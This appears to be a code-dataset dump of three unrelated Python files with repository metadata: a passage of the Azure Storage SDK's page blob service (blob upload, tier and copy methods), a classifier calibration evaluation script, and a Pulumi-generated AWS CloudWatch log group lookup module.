notifications. Empty chunks are skipped, while non-emtpy ones(even if only partly filled) are uploaded. :param str container_name: Name of existing container. :param str blob_name: Name of blob to create or update. :param io.IOBase stream: Opened file/stream to upload as the blob content. :param int count: Number of bytes to read from the stream. This is required, a page blob cannot be created if the count is unknown. :param ~azure.storage.blob.models.ContentSettings content_settings: ContentSettings object used to set the blob properties. :param metadata: Name-value pairs associated with the blob as metadata. :type metadata: dict(str, str) :param bool validate_content: If true, calculates an MD5 hash for each page of the blob. The storage service checks the hash of the content that has arrived with the hash that was sent. This is primarily valuable for detecting bitflips on the wire if using http instead of https as https (the default) will already validate. Note that this MD5 hash is not stored with the blob. :param progress_callback: Callback for progress with signature function(current, total) where current is the number of bytes transfered so far, and total is the size of the blob, or None if the total size is unknown. :type progress_callback: func(current, total) :param int max_connections: Maximum number of parallel connections to use. Note that parallel upload requires the stream to be seekable. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. This method may make multiple calls to the Azure service and the timeout will apply to each call individually. :param premium_page_blob_tier: A page blob tier value to set the blob to. The tier correlates to the size of the blob and number of allowed IOPS. This is only applicable to page blobs on premium storage accounts. :return: ETag and last modified properties for the Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('stream', stream) _validate_not_none('count', count) _validate_encryption_required(self.require_encryption, self.key_encryption_key) if count < 0: raise ValueError(_ERROR_VALUE_NEGATIVE.format('count')) if count % _PAGE_ALIGNMENT != 0: raise ValueError(_ERROR_PAGE_BLOB_SIZE_ALIGNMENT.format(count)) cek, iv, encryption_data = None, None, None if self.key_encryption_key is not None: cek, iv, encryption_data = _generate_blob_encryption_data(self.key_encryption_key) response = self._create_blob( container_name=container_name, blob_name=blob_name, content_length=count, content_settings=content_settings, metadata=metadata, lease_id=lease_id, premium_page_blob_tier=premium_page_blob_tier, if_modified_since=if_modified_since, if_unmodified_since=if_unmodified_since, if_match=if_match, if_none_match=if_none_match, timeout=timeout, encryption_data=encryption_data ) if count == 0: return response # _upload_blob_chunks returns the block ids for block blobs so resource_properties # is passed as a parameter to get the last_modified and etag for page and append blobs. # this info is not needed for block_blobs since _put_block_list is called after which gets this info resource_properties = ResourceProperties() _upload_blob_chunks( blob_service=self, container_name=container_name, blob_name=blob_name, blob_size=count, block_size=self.MAX_PAGE_SIZE, stream=stream, max_connections=max_connections, progress_callback=progress_callback, validate_content=validate_content, lease_id=lease_id, uploader_class=_PageBlobChunkUploader, if_match=response.etag, timeout=timeout, content_encryption_key=cek, initialization_vector=iv, resource_properties=resource_properties ) return resource_properties def create_blob_from_bytes( self, container_name, blob_name, blob, index=0, count=None, content_settings=None, metadata=None, validate_content=False, progress_callback=None, max_connections=2, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, premium_page_blob_tier=None): ''' Creates a new blob from an array of bytes, or updates the content of an existing blob, with automatic chunking and progress notifications. Empty chunks are skipped, while non-emtpy ones(even if only partly filled) are uploaded. :param str container_name: Name of existing container. :param str blob_name: Name of blob to create or update. :param bytes blob: Content of blob as an array of bytes. :param int index: Start index in the byte array. :param int count: Number of bytes to upload. Set to None or negative value to upload all bytes starting from index. :param ~azure.storage.blob.models.ContentSettings content_settings: ContentSettings object used to set blob properties. :param metadata: Name-value pairs associated with the blob as metadata. :type metadata: dict(str, str) :param bool validate_content: If true, calculates an MD5 hash for each page of the blob. The storage service checks the hash of the content that has arrived with the hash that was sent. This is primarily valuable for detecting bitflips on the wire if using http instead of https as https (the default) will already validate. Note that this MD5 hash is not stored with the blob. :param progress_callback: Callback for progress with signature function(current, total) where current is the number of bytes transfered so far, and total is the size of the blob, or None if the total size is unknown. :type progress_callback: func(current, total) :param int max_connections: Maximum number of parallel connections to use. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. This method may make multiple calls to the Azure service and the timeout will apply to each call individually. :param premium_page_blob_tier: A page blob tier value to set the blob to. The tier correlates to the size of the blob and number of allowed IOPS. This is only applicable to page blobs on premium storage accounts. :return: ETag and last modified properties for the Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('blob', blob) _validate_type_bytes('blob', blob) if index < 0: raise IndexError(_ERROR_VALUE_NEGATIVE.format('index')) if count is None or count < 0: count = len(blob) - index stream = BytesIO(blob) stream.seek(index) return self.create_blob_from_stream( container_name=container_name, blob_name=blob_name, stream=stream, count=count, content_settings=content_settings, metadata=metadata, validate_content=validate_content, lease_id=lease_id, progress_callback=progress_callback, max_connections=max_connections, if_modified_since=if_modified_since, if_unmodified_since=if_unmodified_since, if_match=if_match, if_none_match=if_none_match, timeout=timeout, premium_page_blob_tier=premium_page_blob_tier) def set_premium_page_blob_tier( self, container_name, blob_name, premium_page_blob_tier, timeout=None): ''' Sets the page blob tiers on the blob. This API is only supported for page blobs on premium accounts. :param str container_name: Name of existing container. :param str blob_name: Name of blob to update. :param PremiumPageBlobTier premium_page_blob_tier: A page blob tier value to set the blob to. The tier correlates to the size of the blob and number of allowed IOPS. This is only applicable to page blobs on premium storage accounts. :param int timeout: The timeout parameter is expressed in seconds. This method may make multiple calls to the Azure service and the timeout will apply to each call individually. ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('premium_page_blob_tier', premium_page_blob_tier) request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'tier', 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-access-tier': _to_str(premium_page_blob_tier) } self._perform_request(request) def copy_blob(self, container_name, blob_name, copy_source, metadata=None, source_if_modified_since=None, source_if_unmodified_since=None, source_if_match=None, source_if_none_match=None, destination_if_modified_since=None, destination_if_unmodified_since=None, destination_if_match=None, destination_if_none_match=None, destination_lease_id=None, source_lease_id=None, timeout=None, premium_page_blob_tier=None): ''' Copies a blob asynchronously. This operation returns a copy operation properties object, including a copy ID you can use to check or abort the copy operation. The Blob service copies blobs on a best-effort basis. The source blob for a copy operation must be a page blob. If the destination blob already exists, it must be of the same blob type as the source blob. Any existing destination blob will be overwritten. The destination blob cannot be modified while a copy operation is in progress. When copying from a page blob, the Blob service creates a destination page blob of the source blob's length, initially containing all zeroes. Then the source page ranges are enumerated, and non-empty ranges are copied. If the tier on the source blob is larger than the tier being passed to this copy operation or if the size of the blob exceeds the tier being passed to this copy operation then the operation will fail. You can call get_blob_properties on the destination blob to check the status of the copy operation. The final blob will be committed when the copy completes. :param str container_name: Name of the destination container. The container must exist. :param str blob_name: Name of the destination blob. If the destination blob exists, it will be overwritten. Otherwise, it will be created. :param str copy_source: A URL of up to 2 KB in length that specifies an Azure file or blob. The value should be URL-encoded as it would appear in a request URI. If the source is in another account, the source must either be public or must be authenticated via a shared access signature. If the source is public, no authentication is required. Examples: https://myaccount.blob.core.windows.net/mycontainer/myblob https://myaccount.blob.core.windows.net/mycontainer/myblob?snapshot=<DateTime> https://otheraccount.blob.core.windows.net/mycontainer/myblob?sastoken :param metadata: Name-value pairs associated with the blob as metadata. If no name-value pairs are specified, the operation will copy the metadata from the source blob or file to the destination blob. If one or more name-value pairs are specified, the destination blob is created with the specified metadata, and metadata is not copied from the source blob or file. :type metadata: dict(str, str). :param datetime source_if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this conditional header to copy the blob only if the source blob has been modified since the specified date/time. :param datetime source_if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this conditional header to copy the blob only if the source blob has not been modified since the specified date/time. :param ETag source_if_match: An ETag value, or the wildcard character (*). Specify this conditional header to copy the source blob only if its ETag matches the value specified. If the ETag values do not match, the Blob service returns status code 412 (Precondition Failed). This header cannot be specified if the source is an Azure File. :param ETag source_if_none_match: An ETag value, or the wildcard character (*). Specify this conditional header to copy the blob only if its ETag does not match the value specified. If the values are identical, the Blob service returns status code 412 (Precondition Failed). This header cannot be specified if the source is an Azure File. :param datetime destination_if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this conditional header to copy the blob only if the destination blob has been modified since the specified date/time. If the destination blob has not been modified, the Blob service returns status code 412 (Precondition Failed). :param datetime destination_if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this conditional header to copy the blob only if the destination blob has not been modified since the specified date/time. If the destination blob has been modified, the Blob service returns status code 412 (Precondition Failed). :param ETag destination_if_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to copy the blob only if the specified ETag value matches the ETag value for an existing destination blob. If the ETag for the destination blob does not match the ETag specified for If-Match, the Blob service returns status code 412 (Precondition Failed). :param ETag destination_if_none_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to copy the blob only if the specified ETag value does not match the ETag value for the destination blob. Specify the wildcard character (*) to perform the operation only if the destination blob does not exist. If the specified condition isn't met, the Blob service returns status code 412 (Precondition Failed). :param str destination_lease_id: The lease ID specified for this header must match the lease ID of the destination blob. If the request does not include the lease ID or it is not valid, the operation fails with status code 412 (Precondition Failed). :param str source_lease_id: Specify this to perform the Copy Blob operation only if the lease ID given matches the active lease ID of the source blob. :param int timeout: The timeout parameter is expressed in seconds. :param PageBlobTier premium_page_blob_tier: A page blob tier value to set on the destination blob. The tier correlates to the size of the blob and number of allowed IOPS. This is only applicable to page blobs on premium storage accounts. If the tier on the source blob is larger than the tier being passed to this copy operation or if the size of the blob exceeds the tier being passed to this copy operation then the operation will fail. :return: Copy operation properties such as status, source, and ID. :rtype: :class:`~azure.storage.blob.models.CopyProperties` ''' return self._copy_blob(container_name, blob_name, copy_source, metadata, premium_page_blob_tier, source_if_modified_since, source_if_unmodified_since, source_if_match, source_if_none_match, destination_if_modified_since, destination_if_unmodified_since, destination_if_match, destination_if_none_match, destination_lease_id, source_lease_id, timeout, False) # -----Helper methods----------------------------------------------------- def _create_blob( self, container_name, blob_name, content_length, content_settings=None, sequence_number=None, metadata=None, lease_id=None, premium_page_blob_tier=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, encryption_data=None): ''' See create_blob for more details. This helper method allows for encryption or other such special behavior because it is safely handled by the library. These behaviors are prohibited in the public version of this function. :param str encryption_data: The JSON formatted encryption metadata to upload as a part of the blob. This should only be passed internally from other methods and only applied when uploading entire blob contents immediately follows creation of the blob. ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('content_length', content_length) request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = {'timeout': _int_to_str(timeout)} request.headers = { 'x-ms-blob-type': _to_str(self.blob_type), 'x-ms-blob-content-length': _to_str(content_length), 'x-ms-lease-id': _to_str(lease_id), 'x-ms-blob-sequence-number': _to_str(sequence_number), 'x-ms-access-tier': _to_str(premium_page_blob_tier), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match) } _add_metadata_headers(metadata, request) if content_settings is not None: request.headers.update(content_settings._to_headers()) if encryption_data is not None: request.headers['x-ms-meta-encryptiondata'] = encryption_data return self._perform_request(request, _parse_base_properties) def _update_page( self, container_name, blob_name, page, start_range, end_range, validate_content=False, lease_id=None, if_sequence_number_lte=None, if_sequence_number_lt=None, if_sequence_number_eq=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' See update_page for more details. This helper method allows for encryption or other such special behavior because it is safely handled by the library. These behaviors are prohibited in the public version of this function. ''' request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'page', 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-page-write': 'update', 'x-ms-lease-id': _to_str(lease_id), 'x-ms-if-sequence-number-le': _to_str(if_sequence_number_lte), 'x-ms-if-sequence-number-lt': _to_str(if_sequence_number_lt), 'x-ms-if-sequence-number-eq': _to_str(if_sequence_number_eq), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match) } _validate_and_format_range_headers( request, start_range, end_range, align_to_page=True) request.body = _get_data_bytes_only('page', page) if validate_content: computed_md5 = _get_content_md5(request.body) request.headers['Content-MD5'] = _to_str(computed_md5) return self._perform_request(request, _parse_page_properties)

53.880499

118

0.654716

7f8bb0d4ca1c87794dcdfd2f043b728d54955e42

4,380

py

Python

eval/eval_calibration.py

dallascard/ACT

af3b88a89153d66dc421932c2abbf3792d7a1c37

[ "Apache-2.0" ]

null

eval/eval_calibration.py

dallascard/ACT

af3b88a89153d66dc421932c2abbf3792d7a1c37

[ "Apache-2.0" ]

null

eval/eval_calibration.py

dallascard/ACT

af3b88a89153d66dc421932c2abbf3792d7a1c37

[ "Apache-2.0" ]

null

from optparse import OptionParser import numpy as np # Evaluate the overall calibration of the output of a mdoel def main(): usage = "%prog output.npz [output2.npz ...]" parser = OptionParser(usage=usage) parser.add_option('-n', dest='n_bins', default=10, help='Number of bins: default=%default') parser.add_option('--exp', action="store_true", dest="exp", default=False, help='Exponentiate the log-probs: default=%default') parser.add_option('-v', action="store_true", dest="verbose", default=False, help='Print details: default=%default') (options, args) = parser.parse_args() infiles = args n_bins = int(options.n_bins) verbose = options.verbose adaptive = True exp = options.exp mae_vals = [] acc_vals = [] for infile in infiles: acc, mae = eval_calibration_file(infile, n_bins=n_bins, adaptive=adaptive, verbose=verbose, exp=exp) print(infile, "ACC = {:.5f}".format(acc)) print(infile, "MAE = {:.5f}".format(mae)) mae_vals.append(mae) acc_vals.append(acc) print("Mean ACC = {:.5f} ({:.5f})".format(np.mean(acc_vals), np.std(acc_vals))) print("Mean MAE = {:.5f} ({:.5f})".format(np.mean(mae_vals), np.std(mae_vals))) def eval_calibration_file(infile, n_bins=10, adaptive=True, verbose=False, exp=False): data = np.load(infile) labels = data['labels'] pred_probs = data['pred_probs'] if exp: pred_probs = np.exp(pred_probs) n_items, n_classes = pred_probs.shape # scatter the labels if len(labels.shape) == 1 or labels.shape[1] == 1: temp = np.zeros((n_items, n_classes), dtype=int) temp[np.arange(n_items), labels] = 1 labels = temp mae = eval_calibration(labels, pred_probs, n_bins, adaptive, verbose) acc = np.sum(labels.argmax(axis=1) == pred_probs.argmax(axis=1)) / float(n_items) return acc, mae def eval_calibration(label_matrix, pred_probs, n_bins=10, adaptive=True, verbose=False): n_items, n_classes = label_matrix.shape if n_classes > 2: mae = 0.0 for c in range(n_classes): if verbose: print("Class {:d}".format(c)) mae += eval_calibration_by_class(label_matrix, pred_probs, col=c, n_bins=n_bins, adaptive=adaptive, verbose=verbose) / n_bins else: mae = eval_calibration_by_class(label_matrix, pred_probs, col=0, n_bins=n_bins, adaptive=adaptive, verbose=verbose) return mae def eval_calibration_by_class(labels, pred_probs, col=0, n_bins=10, adaptive=True, verbose=False): n_items, n_classes = pred_probs.shape order = np.argsort(pred_probs[:, col]) bin_size = n_items // n_bins counts = [] lower_vals = [] label_means = [] probs_means = [] ae_vals = [] mae = 0.0 for i in range(n_bins): if adaptive: if i < n_bins-1: indices = order[i * bin_size:(i+1) * bin_size] else: indices = order[i * bin_size:] #probs = [pred_probs[index, col] for index in indices] #lower = np.min(probs) lower = np.min(pred_probs[indices, col]) counts.append(len(indices)) else: lower = 1.0 / n_bins * i upper = 1.0 / n_bins * (i+1) if i < n_bins - 1: indices = (pred_probs[:, col] >= lower) * (pred_probs[:, col] < upper) else: indices = (pred_probs[:, col] >= lower) counts.append(indices.sum()) mean_probs = pred_probs[indices, col].mean() mean_label = labels[indices, col].mean() ae = np.abs(mean_probs - mean_label) mae += ae lower_vals.append(lower) label_means.append(mean_label) probs_means.append(mean_probs) ae_vals.append(ae) if verbose: print('Bins:\t' + '\t'.join(['{:.3f}'.format(low) for low in lower_vals])) print('Count:\t' + '\t'.join(['{:d}'.format(val) for val in counts])) print('True:\t' + '\t'.join(['{:.3f}'.format(val) for val in label_means])) print('Pred:\t' + '\t'.join(['{:.3f}'.format(val) for val in probs_means])) print('AE:\t' + '\t'.join(['{:.3f}'.format(val) for val in ae_vals])) return mae / n_bins if __name__ == '__main__': main()

34.21875

137

0.59589

3d6ee95973024ea6f79c10ef6c0e2d10f47f91b1

5,884

py

Python

sdk/python/pulumi_aws/cloudwatch/get_log_group.py

chivandikwa/pulumi-aws

19c08bf9dcb90544450ffa4eec7bf6751058fde2

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_aws/cloudwatch/get_log_group.py

chivandikwa/pulumi-aws

19c08bf9dcb90544450ffa4eec7bf6751058fde2

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_aws/cloudwatch/get_log_group.py

chivandikwa/pulumi-aws

19c08bf9dcb90544450ffa4eec7bf6751058fde2

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = [ 'GetLogGroupResult', 'AwaitableGetLogGroupResult', 'get_log_group', 'get_log_group_output', ] @pulumi.output_type class GetLogGroupResult: """ A collection of values returned by getLogGroup. """ def __init__(__self__, arn=None, creation_time=None, id=None, kms_key_id=None, name=None, retention_in_days=None, tags=None): if arn and not isinstance(arn, str): raise TypeError("Expected argument 'arn' to be a str") pulumi.set(__self__, "arn", arn) if creation_time and not isinstance(creation_time, int): raise TypeError("Expected argument 'creation_time' to be a int") pulumi.set(__self__, "creation_time", creation_time) if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if kms_key_id and not isinstance(kms_key_id, str): raise TypeError("Expected argument 'kms_key_id' to be a str") pulumi.set(__self__, "kms_key_id", kms_key_id) if name and not isinstance(name, str): raise TypeError("Expected argument 'name' to be a str") pulumi.set(__self__, "name", name) if retention_in_days and not isinstance(retention_in_days, int): raise TypeError("Expected argument 'retention_in_days' to be a int") pulumi.set(__self__, "retention_in_days", retention_in_days) if tags and not isinstance(tags, dict): raise TypeError("Expected argument 'tags' to be a dict") pulumi.set(__self__, "tags", tags) @property @pulumi.getter def arn(self) -> str: """ The ARN of the Cloudwatch log group. Any `:*` suffix added by the API, denoting all CloudWatch Log Streams under the CloudWatch Log Group, is removed for greater compatibility with other AWS services that do not accept the suffix. """ return pulumi.get(self, "arn") @property @pulumi.getter(name="creationTime") def creation_time(self) -> int: """ The creation time of the log group, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC. """ return pulumi.get(self, "creation_time") @property @pulumi.getter def id(self) -> str: """ The provider-assigned unique ID for this managed resource. """ return pulumi.get(self, "id") @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> str: """ The ARN of the KMS Key to use when encrypting log data. """ return pulumi.get(self, "kms_key_id") @property @pulumi.getter def name(self) -> str: return pulumi.get(self, "name") @property @pulumi.getter(name="retentionInDays") def retention_in_days(self) -> int: """ The number of days log events retained in the specified log group. """ return pulumi.get(self, "retention_in_days") @property @pulumi.getter def tags(self) -> Mapping[str, str]: """ A map of tags to assign to the resource. """ return pulumi.get(self, "tags") class AwaitableGetLogGroupResult(GetLogGroupResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetLogGroupResult( arn=self.arn, creation_time=self.creation_time, id=self.id, kms_key_id=self.kms_key_id, name=self.name, retention_in_days=self.retention_in_days, tags=self.tags) def get_log_group(name: Optional[str] = None, tags: Optional[Mapping[str, str]] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetLogGroupResult: """ Use this data source to get information about an AWS Cloudwatch Log Group ## Example Usage ```python import pulumi import pulumi_aws as aws example = aws.cloudwatch.get_log_group(name="MyImportantLogs") ``` :param str name: The name of the Cloudwatch log group :param Mapping[str, str] tags: A map of tags to assign to the resource. """ __args__ = dict() __args__['name'] = name __args__['tags'] = tags if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('aws:cloudwatch/getLogGroup:getLogGroup', __args__, opts=opts, typ=GetLogGroupResult).value return AwaitableGetLogGroupResult( arn=__ret__.arn, creation_time=__ret__.creation_time, id=__ret__.id, kms_key_id=__ret__.kms_key_id, name=__ret__.name, retention_in_days=__ret__.retention_in_days, tags=__ret__.tags) @_utilities.lift_output_func(get_log_group) def get_log_group_output(name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Optional[Mapping[str, str]]]] = None, opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetLogGroupResult]: """ Use this data source to get information about an AWS Cloudwatch Log Group ## Example Usage ```python import pulumi import pulumi_aws as aws example = aws.cloudwatch.get_log_group(name="MyImportantLogs") ``` :param str name: The name of the Cloudwatch log group :param Mapping[str, str] tags: A map of tags to assign to the resource. """ ...

33.816092

238

0.64446